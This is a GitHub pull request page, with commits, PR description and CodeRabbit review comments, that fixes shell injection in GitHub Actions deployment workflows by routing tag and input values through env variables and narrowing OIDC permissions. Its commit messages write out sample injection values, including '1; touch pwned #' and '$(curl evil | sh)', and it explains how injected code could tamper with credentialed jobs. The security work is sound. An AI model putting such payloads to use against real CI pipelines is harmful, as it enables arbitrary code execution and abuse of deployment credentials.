Repository navigation
fix(ci): stop interpolating the release tag into a run block - #1657
Conversation
📝 WalkthroughWalkthroughThe AWS Lambda deployment workflow scopes OIDC permissions to required jobs, validates environments and image tags, replaces direct shell interpolation with environment variables, and propagates ChangesAWS Lambda deployment hardening
Estimated code review effort: 3 (Moderate) | ~25 minutes Sequence Diagram(s)sequenceDiagram
participant GitHubEvent
participant PrepareJob
participant BuildJob
participant Terraform
participant TestJob
participant SummaryJob
GitHubEvent->>PrepareJob: provide event and release metadata
PrepareJob->>PrepareJob: validate target_environment and image tag
PrepareJob->>BuildJob: pass target_environment
BuildJob->>Terraform: run environment-specific deployment
Terraform->>BuildJob: return deployment outputs and metadata
BuildJob->>TestJob: pass function URL
TestJob->>TestJob: run health and smoke tests
TestJob->>SummaryJob: provide workflow results
SummaryJob->>SummaryJob: download artifact and write deployment summary
Possibly related issues
Possibly related PRs
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
cristim
added
effort/s
|
@coderabbitai review |
✅ Action performedReview finished.
|
|
@coderabbitai full review |
✅ Action performedFull review finished. Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 58 minutes. |
|
@coderabbitai full review |
✅ Action performedFull review finished. |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/deploy-aws-lambda.yml:
- Around line 110-120: Update the EVENT_NAME case in the deployment environment
selection to map push events to staging, preserving release as prod and
workflow_dispatch as the requested input environment; alternatively, remove the
documented push trigger so the workflow no longer advertises unsupported push
deployment behavior.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 3a6f01d5-5184-4fbc-968c-3d21ac3f7c89
📒 Files selected for processing (1)
.github/workflows/deploy-aws-lambda.yml
`deploy-aws-lambda.yml` pasted `${{ github.event.release.tag_name }}`
straight into the shell source of the `prepare` job. A git ref name may
contain `;`, `$`, backtick, `(`, `)` and `|` — it only forbids spaces,
which `$IFS` works around — so cutting a release on a crafted tag was
arbitrary code execution.
`prepare` had no `environment:` binding yet inherited workflow-level
`id-token: write`. Since the AWS trust policy accepts the subject
`repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code there could mint an OIDC token
and assume the full production deploy role.
The job looked gated because it declared `outputs: environment:` — an
output *named* environment, not an `environment:` binding. That shape
reads as a gate at a glance while gating nothing, so the output is
renamed rather than merely commented.
Changes:
- Pass the release tag, event name, commit SHA and `inputs.environment`
through `env:` and reference the quoted shell variables. No `${{ }}`
referencing `inputs.*` or `github.event.*` remains in any `run:` block.
- Constrain the tag to the OCI tag grammar, checked against a shell
variable rather than an already-expanded expression, so unlike the
original guard it actually validates something.
- Allowlist the resolved environment to dev|staging|prod. The
`workflow_call` input is a free-form string, unlike the
`workflow_dispatch` `choice`, so it was previously unchecked.
- Drop `id-token: write` to job level, granting it only to
`build-and-deploy` and `test-deployment` — the two jobs that assume the
deploy role, both of which are bound to an environment. `prepare` and
`summary` authenticate to nothing and now hold `contents: read`.
- Rename the `environment` output to `target_environment` (11 consumers)
so it cannot be misread as a binding.
- Replace the unquoted `cat <<EOF > deployment-info.json` heredoc with
`jq -n --arg`. The tag is charset-validated upstream, but that heredoc
sits in a job holding `id-token: write` and would evaluate `$(...)` in
any value reaching it.
- Route the function URL and the `-var-file` environment through `env:`
for consistency with the rest of the file.
Verified with `actionlint` (shellcheck available): no new findings, and
the six the rewritten `prepare` job used to produce are gone (SC2086
28 -> 22). The 26 that remain are pre-existing, sit outside the changed
hunks, and are tracked in #1646.
Closes #1649
Addresses three findings from the independent review of this PR.
The tag guard rejected valid tags. `^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$`
excludes `/` and `+`, so two of this repo's four existing tags fail it,
as do `release/1.0` and `v1.2.3+build.5`. A release cut on a
slash-namespaced tag would have hard-failed `prepare` and blocked the
whole production deploy.
Filtering shell metacharacters was the wrong instinct anyway: they are
already inert, because the value arrives via `env:` and is only ever
referenced quoted. The structural threat is a NEWLINE, since the tag is
written to `$GITHUB_OUTPUT` as a single `tag=<value>` line and a newline
would append attacker-chosen output keys that the two credentialed
downstream jobs then consume. So the guard now rejects empty and control
characters and allows the rest of the git ref charset, with a note that
an OCI-grammar check belongs here if the value is ever wired to
Terraform's `custom_image_tag` (it is not today — the real image tag is
derived from the git commit inside the build module).
`summary` still interpolated six expressions directly into its `run:`
block, including `needs.prepare.outputs.image_tag`, whose origin is the
release tag and which was safe only because a guard in a *different* job
had run. That makes the operative rule "raw interpolation is fine when
someone upstream validated", an implicit invariant that breaks silently
the moment the upstream guard moves. All six now go through `env:`, so
the file has one uniform rule: no `${{ }}` in any `run:` block.
Also quote the `$GITHUB_OUTPUT` redirect targets in the two steps that
still wrote to them unquoted, which is the same output-integrity concern
this PR is about.
actionlint (with shellcheck) now reports **0** findings on this file,
down from 32 before the PR and 26 at the previous commit.
The workflow's fallback case intentionally maps a push event to dev, not staging (deploy-aws-lambda.yml's `*) TARGET_ENVIRONMENT=dev` arm), but the README still described push-to-main as deploying to staging. Correct the two doc references instead of changing the fallback: it is the safe default that stops an unrecognised trigger from landing in a production-adjacent environment, so weakening it to staging would make the failure mode worse, not the doc more accurate.
be909c4 to
394915a
Compare
|
Rebased onto Also addressed the open CodeRabbit thread on Checked the actual
Re-triggering |
|
🐇 ✏️ Learnings added
✅ Action performedReview finished.
|
|
@coderabbitai review |
✅ Action performedReview finished.
|
|
Correcting a clearance I gave in error: this PR has not been reviewed by CodeRabbit at its current head. I previously treated it as reviewed because the
CI is green and the doc fix is verified; the review is outstanding. Those are separate claims and I conflated them. Not re-triggering right now, because the shared review quota is adaptive and already strained across this repo, and a needless ping tightens it further. This PR should not merge on the strength of a green check list until a verdict lands whose The general lesson, recorded because it caused this mistake: where a review bot names the commit it reviewed, compare SHAs. A timestamp is an inference that the bot saw your changes; a SHA is proof. |
|
Requesting a full review, paced to one request per hour across this repo. The CodeRabbit quota is per-developer per-organization and adaptive, tightening at the 95th percentile of recent review volume. Every open PR here draws on one budget, so bursting requests both consumes it faster and tightens the limit. Spacing them is what gets verdicts to land. Full form rather than incremental: this head was pushed while the quota was exhausted, so its automatic review never ran and is not retried retroactively. An incremental request would skip exactly those commits and report clean on a diff it never read. @coderabbitai full review |
|
✅ Action performedFull review finished. |
|
Requesting a full review, paced to one request per hour across this repo. The CodeRabbit quota is per-developer per-organization and adaptive, tightening at the 95th percentile of recent review volume. Every open PR here draws on one budget, so bursting requests both consumes it faster and tightens the limit. Spacing them is what gets verdicts to land. Full form rather than incremental: this head was pushed while the quota was exhausted, so its automatic review never ran and is not retried retroactively. An incremental request would skip exactly those commits and report clean on a diff it never read. @coderabbitai full review |
|
✅ Action performedFull review finished. |
|
Requesting a full review, paced to one request per hour across this repo. The CodeRabbit quota is per-developer per-organization and adaptive, tightening at the 95th percentile of recent review volume. Every open PR here draws on one budget, so bursting requests both consumes it faster and tightens the limit. Spacing them is what gets verdicts to land. Full form rather than incremental: this head was pushed while the quota was exhausted, so its automatic review never ran and is not retried retroactively. An incremental request would skip exactly those commits and report clean on a diff it never read. @coderabbitai full review |
|
✅ Action performedFull review finished. |
There was a problem hiding this comment.
🧹 Nitpick comments (1)
.github/workflows/deploy-aws-lambda.yml (1)
432-436: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueSkip the artifact download when
preparedid not produce an environment. Thesummaryjob usesif: always(). Ifpreparefails,needs.prepare.outputs.target_environmentis empty and the artifact name becomesdeployment-info-lambda-.continue-on-error: truehides the resulting failure, but the step still runs and logs a misleading error. Add a condition so the step runs only when the environment is known.♻️ Proposed guard
- name: Download deployment info uses: actions/download-artifact@37930b1c2abaa49bbe596cd826c3c89aef350131 # v7.0.0 + if: needs.prepare.outputs.target_environment != '' with: name: deployment-info-lambda-${{ needs.prepare.outputs.target_environment }} continue-on-error: true🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/deploy-aws-lambda.yml around lines 432 - 436, Add an `if` condition to the “Download deployment info” step so it runs only when `needs.prepare.outputs.target_environment` is non-empty. Preserve `continue-on-error: true` and the existing artifact name for cases where the environment is available.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Nitpick comments:
In @.github/workflows/deploy-aws-lambda.yml:
- Around line 432-436: Add an `if` condition to the “Download deployment info”
step so it runs only when `needs.prepare.outputs.target_environment` is
non-empty. Preserve `continue-on-error: true` and the existing artifact name for
cases where the environment is available.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: db49d07e-a97b-4859-bbd2-e2fad00ba3f2
📒 Files selected for processing (2)
.github/workflows/README.md.github/workflows/deploy-aws-lambda.yml
`database-migration.yml` pasted `${{ inputs.direction }}` and
`${{ inputs.steps }}` directly into the shell source of every `migrate-*`
job's `run:` block. GitHub substitutes `${{ }}` expressions into the
script text before bash ever parses it, so a `steps` value such as
`1; touch pwned #` executed as code on the `direction=up` path, which had
no guard at all.
The `direction=down` path did have a regex guard, but the guard itself
ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]`
means the payload is already substituted into the condition before bash
evaluates it, so a value like `$(curl evil | sh)` runs as part of
evaluating the guard's own `[[ ... ]]` test, before the guard can reject
anything. The guard validates the output of an already-executed payload,
not the payload itself.
Reproduced both cases locally: rendering the pre-fix template with a
malicious `steps` value and executing it created a marker file in both
the unguarded `up` path and the "rejected" `down` path (the guard printed
its refusal and exited 1, but the injected command had already run by
then).
Changes to database-migration.yml:
- Route every `inputs.*` value through `env:` and reference the quoted
shell variable, so GitHub only ever substitutes them into a scalar env
var assignment, never into script text. No `${{ }}` remains in any
`run:` block in this file. Re-running the same payloads through the
fixed logic (as real env vars, matching how the runner actually passes
them) confirms both are now rejected as inert data with no execution.
- Validate `steps` for `direction=up` too, not only `down` (defense in
depth, both in `validate` and again in each `migrate-*` job).
- Validate the `workflow_call` string inputs (`cloud`, `environment`,
`direction`) against an explicit allowlist in `validate`.
`workflow_dispatch` constrains these via `type: choice`, enforced
server-side, but `workflow_call` typed them as free-form strings with
no such enforcement.
- Drop `id-token: write` to job level, granted only to the
environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs.
`validate` and `summary` never authenticate to a cloud provider.
Also fixed the byte-identical injection in deploy-gcp.yml,
deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's
"Determine environment" step had the exact line
`echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`,
already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in
these three siblings. Unlike database-migration.yml's migrate-* jobs,
`prepare` in these three files is both ungated (no `environment:`
binding) and still holds workflow-level `id-token: write`, so this was
the more severe ungated-and-credentialed shape. Mirrored the exact
pattern #1657 already established and merged: case-based dispatch
through `env:` plus the same workflow_call allowlist check.
Verified with actionlint (v1.7.12): diffed findings against each
unmodified file on origin/main. Zero new findings introduced anywhere;
every remaining finding is pre-existing shellcheck debt in code this
change does not touch. `act -l` confirms all four job graphs still
parse.
Closes #1647
`database-migration.yml` pasted `${{ inputs.direction }}` and
`${{ inputs.steps }}` directly into the shell source of every `migrate-*`
job's `run:` block. GitHub substitutes `${{ }}` expressions into the
script text before bash ever parses it, so a `steps` value such as
`1; touch pwned #` executed as code on the `direction=up` path, which had
no guard at all.
The `direction=down` path did have a regex guard, but the guard itself
ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]`
means the payload is already substituted into the condition before bash
evaluates it, so a value like `$(curl evil | sh)` runs as part of
evaluating the guard's own `[[ ... ]]` test, before the guard can reject
anything. The guard validates the output of an already-executed payload,
not the payload itself.
Reproduced both cases locally: rendering the pre-fix template with a
malicious `steps` value and executing it created a marker file in both
the unguarded `up` path and the "rejected" `down` path (the guard printed
its refusal and exited 1, but the injected command had already run by
then).
Changes to database-migration.yml:
- Route every `inputs.*` value through `env:` and reference the quoted
shell variable, so GitHub only ever substitutes them into a scalar env
var assignment, never into script text. No `${{ }}` remains in any
`run:` block in this file. Re-running the same payloads through the
fixed logic (as real env vars, matching how the runner actually passes
them) confirms both are now rejected as inert data with no execution.
- Validate `steps` for `direction=up` too, not only `down` (defense in
depth, both in `validate` and again in each `migrate-*` job).
- Validate the `workflow_call` string inputs (`cloud`, `environment`,
`direction`) against an explicit allowlist in `validate`.
`workflow_dispatch` constrains these via `type: choice`, enforced
server-side, but `workflow_call` typed them as free-form strings with
no such enforcement.
- Drop `id-token: write` to job level, granted only to the
environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs.
`validate` and `summary` never authenticate to a cloud provider.
Also fixed the byte-identical injection in deploy-gcp.yml,
deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's
"Determine environment" step had the exact line
`echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`,
already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in
these three siblings. Unlike database-migration.yml's migrate-* jobs,
`prepare` in these three files is both ungated (no `environment:`
binding) and still holds workflow-level `id-token: write`, so this was
the more severe ungated-and-credentialed shape. Mirrored the exact
pattern #1657 already established and merged: case-based dispatch
through `env:` plus the same workflow_call allowlist check.
Verified with actionlint (v1.7.12): diffed findings against each
unmodified file on origin/main. Zero new findings introduced anywhere;
every remaining finding is pre-existing shellcheck debt in code this
change does not touch. `act -l` confirms all four job graphs still
parse.
Closes #1647
* fix(ci): stop interpolating the release tag into a run block
`deploy-aws-lambda.yml` pasted `${{ github.event.release.tag_name }}`
straight into the shell source of the `prepare` job. A git ref name may
contain `;`, `$`, backtick, `(`, `)` and `|` — it only forbids spaces,
which `$IFS` works around — so cutting a release on a crafted tag was
arbitrary code execution.
`prepare` had no `environment:` binding yet inherited workflow-level
`id-token: write`. Since the AWS trust policy accepts the subject
`repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code there could mint an OIDC token
and assume the full production deploy role.
The job looked gated because it declared `outputs: environment:` — an
output *named* environment, not an `environment:` binding. That shape
reads as a gate at a glance while gating nothing, so the output is
renamed rather than merely commented.
Changes:
- Pass the release tag, event name, commit SHA and `inputs.environment`
through `env:` and reference the quoted shell variables. No `${{ }}`
referencing `inputs.*` or `github.event.*` remains in any `run:` block.
- Constrain the tag to the OCI tag grammar, checked against a shell
variable rather than an already-expanded expression, so unlike the
original guard it actually validates something.
- Allowlist the resolved environment to dev|staging|prod. The
`workflow_call` input is a free-form string, unlike the
`workflow_dispatch` `choice`, so it was previously unchecked.
- Drop `id-token: write` to job level, granting it only to
`build-and-deploy` and `test-deployment` — the two jobs that assume the
deploy role, both of which are bound to an environment. `prepare` and
`summary` authenticate to nothing and now hold `contents: read`.
- Rename the `environment` output to `target_environment` (11 consumers)
so it cannot be misread as a binding.
- Replace the unquoted `cat <<EOF > deployment-info.json` heredoc with
`jq -n --arg`. The tag is charset-validated upstream, but that heredoc
sits in a job holding `id-token: write` and would evaluate `$(...)` in
any value reaching it.
- Route the function URL and the `-var-file` environment through `env:`
for consistency with the rest of the file.
Verified with `actionlint` (shellcheck available): no new findings, and
the six the rewritten `prepare` job used to produce are gone (SC2086
28 -> 22). The 26 that remain are pre-existing, sit outside the changed
hunks, and are tracked in #1646.
Closes #1649
* fix(ci): correct the release-tag guard and route summary through env
Addresses three findings from the independent review of this PR.
The tag guard rejected valid tags. `^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$`
excludes `/` and `+`, so two of this repo's four existing tags fail it,
as do `release/1.0` and `v1.2.3+build.5`. A release cut on a
slash-namespaced tag would have hard-failed `prepare` and blocked the
whole production deploy.
Filtering shell metacharacters was the wrong instinct anyway: they are
already inert, because the value arrives via `env:` and is only ever
referenced quoted. The structural threat is a NEWLINE, since the tag is
written to `$GITHUB_OUTPUT` as a single `tag=<value>` line and a newline
would append attacker-chosen output keys that the two credentialed
downstream jobs then consume. So the guard now rejects empty and control
characters and allows the rest of the git ref charset, with a note that
an OCI-grammar check belongs here if the value is ever wired to
Terraform's `custom_image_tag` (it is not today — the real image tag is
derived from the git commit inside the build module).
`summary` still interpolated six expressions directly into its `run:`
block, including `needs.prepare.outputs.image_tag`, whose origin is the
release tag and which was safe only because a guard in a *different* job
had run. That makes the operative rule "raw interpolation is fine when
someone upstream validated", an implicit invariant that breaks silently
the moment the upstream guard moves. All six now go through `env:`, so
the file has one uniform rule: no `${{ }}` in any `run:` block.
Also quote the `$GITHUB_OUTPUT` redirect targets in the two steps that
still wrote to them unquoted, which is the same output-integrity concern
this PR is about.
actionlint (with shellcheck) now reports **0** findings on this file,
down from 32 before the PR and 26 at the previous commit.
* docs(ci): correct push-trigger environment in deploy-aws-lambda README
The workflow's fallback case intentionally maps a push event to dev,
not staging (deploy-aws-lambda.yml's `*) TARGET_ENVIRONMENT=dev`
arm), but the README still described push-to-main as deploying to
staging. Correct the two doc references instead of changing the
fallback: it is the safe default that stops an unrecognised trigger
from landing in a production-adjacent environment, so weakening it
to staging would make the failure mode worse, not the doc more
accurate.
1 participant
Closes #1649
Found during the #1542 / PR #1641 sweep of
.github/workflows/. Verified live on currentorigin/main(887d51f) before changing anything.The defect
GitHub substitutes
${{ github.event.release.tag_name }}into the shell source before bash parses it.git check-ref-formatforbids spaces,~,^,:,?,*,[,\— but permits;,$,`,(,),&,|,<,>,!. So a tag likeis a valid ref, and cutting a release on it is arbitrary code execution.
$IFSdefeats the no-spaces restriction.Correction: the escalation I originally claimed is NOT reachable
The first version of this PR body claimed the chain: RCE in
prepare→ mint an OIDC token → assumecudly-terraform-deployviarepo:<org>/<repo>:ref:refs/heads/main. That does not connect, and the corrected impact is below.The payload only executes on a
releaseevent, and on a release eventGITHUB_REFisrefs/tags/<tag>— so the ungated job's OIDC subject isrepo:LeanerCloud/CUDly:ref:refs/tags/<tag>, which matches none ofrole.tf's four entries (ref:refs/heads/mainplusenvironment:{dev,staging,prod}). Verified: the default subject template is in force (gh api repos/.../actions/oidc/customization/sub→use_default: true), GCP pinsassertion.ref == 'refs/heads/main', and Azure allows onlymainandpull_request.What is actually reachable, and why this is still p0-shaped:
prepare, under that job'sGITHUB_TOKEN.$GITHUB_OUTPUT—prepare's outputs are consumed bybuild-and-deployandtest-deployment, both of which holdid-token: write. Controlling what those two credentialed jobs read is the real prize, and it is what the guard in this PR now protects.Honest caveat on severity: cutting a release already requires write access, and this repo's
mainis unprotected (gh api .../branches/main/protection→ 404). A write-capable attacker could simply push tomainand obtain theref:refs/heads/mainsubject directly, with no injection needed. So the marginal capability this bug adds to an attacker who already has write access is small. It is still worth fixing — defence in depth, and the$GITHUB_OUTPUTpath into credentialed jobs is real — but the original "escalates to the full production deploy role" framing was wrong and is retracted.After
The value never appears in the script's source text. It arrives as a process environment variable, and
"$TAG"is a quoted parameter expansion — bash performs no further parsing on the result, so;,$(...), backticks and newlines are inert data. The charset guard now runs against a shell variable rather than an already-expanded expression, so unlike the originalimage_tagguard it actually validates something.The reviewer trap, fixed rather than commented
The job declared:
That is an output named
environment, not anenvironment:binding. It reads as gated at a glance and gates nothing — which is very likely why an ungated job holdingid-token: writesurvived review. The apparent gating was cosmetic. A comment alone would not stop the next person making the same misreading, so the output is renamed totarget_environment(11 consumer sites) and a note tells future readers not to rename it back.Changes
inputs.environmentmoved intoenv:, referenced as quoted shell variables. No${{ }}referencinginputs.*orgithub.event.*remains in anyrun:block.dev|staging|prod— theworkflow_callinput is a free-formstring, unlike theworkflow_dispatchchoice, and was previously unchecked.id-token: writedropped to job level, granted only tobuild-and-deployandtest-deployment(the two jobs that assume the deploy role, both environment-bound).prepareandsummaryauthenticate to nothing and now holdcontents: read.cat <<EOF > deployment-info.jsonheredoc inbuild-and-deployreplaced withjq -n --arg. The tag is charset-validated upstream, but that heredoc sits in a job holdingid-token: writeand would evaluate$(...)in any value reaching it — the same shape sec(ci): rollback.yml interpolates the free-text reason input into run blocks in a job holding id-token write #1542 called its worst case.-var-fileenvironment routed throughenv:for consistency.Verification
actionlint(shellcheck available), changed fileid-token: writewithoutenvironment:${{ inputs.* }}/${{ github.event.* }}inside anyrun:needs.prepare.outputs.environmentrefsI am not claiming
actionlintexit 0 here: this file was already failing onmainand the residue is unquoted$GITHUB_STEP_SUMMARYredirect targets in jobs this PR does not touch. Fixing them would mix an unrelated cleanup into a p0 security change; they are tracked in #1646.Correction: my original regression claim was false
The first version of this body said "
git tag -lreturns only four backup tags, all of which pass it, so nothing previously valid is now rejected." That was wrong, and I had not run it. Running the original guard against the repo's actual tags:Two of four fail, and so do
release/1.0,v1.2.3+20260728andv1.2.3+build.5. A release cut on a slash-namespaced tag — this repo's own existing convention — would have hard-failedprepareand blocked the entire production deploy. That is an availability regression I would have introduced while claiming I had checked for exactly that.The guard is redesigned rather than merely widened. Filtering shell metacharacters was the wrong instinct:
;,$, backtick and|are already inert here, because the value arrives viaenv:and is only ever referenced quoted. The structural threat is a newline, because the tag is written to$GITHUB_OUTPUTas a singletag=<value>line, and a newline lets a crafted tag append attacker-chosen output keys — which the two credentialed downstream jobs consume. So the guard now rejects empty and control characters, and allows the rest of the git ref charset:The guarded value is cosmetic today —
image_tagreaches onlydeployment-info.json(viajq --arg) and the step summary;custom_image_tagis never wired from this workflow, andterraform/modules/build/main.tf:24derives the real tag from the git commit. A comment at the guard says an OCI-grammar check belongs there if that ever changes.actwas not run; no dry run is claimed.Important caveat — the
environment:binding is not currently a gateThis fix leans on
environment:to scope the OIDC subject. Worth stating plainly, because it also affects PR #1641:No Environment in this repo has any protection rules, and
staging/proddo not exist at all. GitHub auto-creates a referenced Environment on first use with no rules. Soenvironment:today only scopes secrets and changes the OIDCsubclaim — it is not a reviewer gate until required reviewers are configured in repo settings. The comments in this PR say so rather than claiming a gate that does not exist. Tracked in LeanerCloud/cloud-commitments-platform#139.Two side observations from that output: the
azure-andgcp-environments are the residue of anenvironment:name interpolating to empty, and thedev-only list is consistent with LeanerCloud/cloud-commitments-platform#139's finding that the<cloud>-<env>-rollbacknames are absent from the trust policy.Sibling workflows — same shape, no injectable value
A structural sweep (parsing each workflow's YAML for
id-tokeninheritance vsenvironment:bindings, not grepping) found the ungated-prepare-with-inherited-id-tokenpattern indeploy-aws-fargate.yml,deploy-gcp.ymlanddeploy-azure.ymltoo. Those three are not exploitable today: the only untrusted value reaching theirrun:blocks isinputs.environment, which ischoice-constrained onworkflow_dispatch, and theirworkflow_callstring input is fed only bydeploy-all.yml, whose own input is alsochoice-constrained.deploy-aws-lambda.ymlwas the only one with an attacker-settable value (release.tag_name). Filed separately rather than bundled.github.actorreachesrun:blocks in all four deploy workflows; GitHub usernames are[A-Za-z0-9-], so those are not injectable and are noted only so a reader does not re-flag them.Filed from this PR: #1659 (the sibling deploy/sanity workflows carry the same ungated-credentialed shape;
deploy-gcpanddeploy-azureare worse in that theirbuild-and-deployjobs actually authenticate while ungated — but none has an injectable value, so it is hardening, not a live exploit).Post-review changes (commit
be909c41d)Three findings from the independent review, all addressed:
summarystill had six raw${{ }}in itsrun:block, includingimage_tag, safe only because a guard in a different job had run. That makes the operative rule "raw interpolation is fine when someone upstream validated" — the same implicit-invariant species thetarget_environmentrename exists to kill. All six now route throughenv:, so the file has one uniform rule: zero${{ }}in anyrun:block.$GITHUB_OUTPUTredirect targets in two steps, quoted — same output-integrity concern as the rest of the PR. This is what took actionlint to exit 0.Also filed from this review: #1665 —
deploy-all.ymldeclares nopermissions:on its caller jobs, so a called deploy workflow likely cannot obtain an OIDC token at all. Pre-existing and identical before and after this PR (permission intersection with the caller caps both the old workflow-level and the new job-level form equally), so it is not a bisect target for this change.Summary by CodeRabbit